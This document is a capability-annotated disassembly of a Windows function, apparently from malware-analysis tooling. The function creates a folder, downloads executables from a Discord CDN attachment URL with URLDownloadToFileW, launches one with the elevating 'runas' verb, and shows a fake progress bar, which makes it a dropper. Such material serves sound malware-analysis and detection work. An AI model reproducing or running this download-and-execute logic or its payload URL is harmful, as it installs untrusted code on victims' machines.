Function at 0x1400011c0
Capabilities:
Create directory
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x258]
sub rsp, 0x330
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor ebx, ebx
lea rax, [0x140003438]
mov qword [rsp + 0x50], rax
lea rax, str.https:__cdn.discordapp.com_attachments_1190485929773772943_1190487437550559263_vcpkgsrv.exe
mov qword [rsp + 0x58], rax
lea rax, str.updater.exe
mov qword [rsp + 0x60], rax
lea rax, str.external_2.1.exe
mov qword [rsp + 0x68], rax
mov qword [rbp - 0x60], rbx
lea r9, [rbp - 0x60]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140003340]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
je 0x140001257
lea eax, [rbx + 1]
jmp 0x140001796
lea rdx, str.movethistosecurelocationtobypasspchecks
lea rcx, [rbp - 0x38]
call fcn.140001840
nop
mov rdx, qword [rbp - 0x60]
lea rcx, [rbp - 0x80]
call fcn.140001840
mov rcx, rax
mov r8, qword [rax + 0x10]
mov r10, qword [rax + 0x18]
mov rax, r10
sub rax, r8
mov r15d, 1
cmp rax, r15
jb 0x1400012b7
lea r9, [r8 + 1]
mov qword [rcx + 0x10], r9
mov rdx, rcx
cmp r10, 7
jbe 0x1400012a5
mov rdx, qword [rcx]
mov eax, dword [0x140003550]
mov word [rdx + r8*2], ax
mov word [rdx + r9*2], bx
jmp 0x1400012ce
mov qword [rsp + 0x20], r15
lea r9, [0x140003550]
mov rdx, r15
call fcn.140001bd0
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], 7
mov word [rcx], bx
lea r9, [rbp - 0x38]
cmp qword [rbp - 0x20], 7
cmova r9, qword [rbp - 0x38]
mov rsi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, rsi
mov rdi, qword [rbp - 0x28]
cmp rdi, rax
ja 0x140001362
lea rax, [rdi + rsi]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 7
cmova rbx, qword [rsp + 0x30]
lea rcx, [rbx + rsi*2]
lea r8, [rdi + rdi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rsi]
xor ecx, ecx
mov word [rbx + rax*2], cx
lea rax, [rsp + 0x30]
xor ebx, ebx
jmp 0x140001374
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140001bd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x1400013e6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001dd0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], bx
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000143c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001437
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001437
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001dd0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], bx
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rcx, qword [rbp - 0x58]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140001482
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140001482
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x1400016fd
mov rax, qword [rbp - 0x60]
mov qword [rsp + 0x70], rax
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rax, qword [rbp - 0x58]
mov qword [rsp + 0x78], rax
mov esi, ebx
mov r13, rbx
mov r12, 0xffffffffffffffff
movss xmm6, dword [0x140003578]
movss xmm7, dword [0x140003574]
nop word [rax + rax]
mov rdi, qword [rsp + r13 + 0x50]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r9d, r12d
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, r12
mov rcx, rax
call fcn.140001e14
mov r14, rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r12d
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdi, qword [rsp + r13 + 0x60]
xor ecx, ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
mov r9d, r12d
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, r12
mov rcx, rax
call fcn.140001e14
mov r12, rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r8, qword [rsp + r13 + 0x70]
mov edx, 0x104
lea rcx, [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, [0x140003550]
mov edx, 0x104
lea rcx, [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
mov r8, r12
mov edx, 0x104
lea rcx, [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp - 0x10]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x1400016fd
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rbx
test esi, esi
jne 0x1400015ff
xor r9d, r9d
lea r8, [rbp - 0x10]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x1400016f0
jmp 0x14000161f
lea r8, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova r8, qword [rbp - 0x58]
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, r14
call fcn.140001dd0
mov rcx, r12
call fcn.140001dd0
lea eax, [rsi + 1]
imul ecx, eax, 0x64
movsxd r14, ecx
shr r14, 1
movd xmm0, r14d
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
mulss xmm0, xmm7
cvttss2si edi, xmm0
lea rdx, str.___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a00
cmp ebx, edi
jge 0x14000166f
lea rdx, [0x140003424]
jmp 0x14000167f
lea rdx, [0x140003428]
je 0x14000167f
lea rdx, [0x14000342c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a00
inc ebx
cmp ebx, 0x32
jl 0x140001662
lea rdx, [0x140003434]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a00
mov rcx, rax
mov edx, r14d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140003430]
call fcn.140001a00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc esi
add r13, 8
cmp esi, 2
mov ebx, 0
lea r12, [rbx - 1]
jb 0x1400014c0
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov r15d, ebx
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x140001740
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000173b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000173b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001dd0
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], 7
mov word [rbp - 0x58], bx
mov rax, qword [rbp - 0x20]
cmp rax, 7
jbe 0x140001793
lea rdx, [rax*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000178e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000178e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001dd0
mov eax, r15d
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140001db0
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret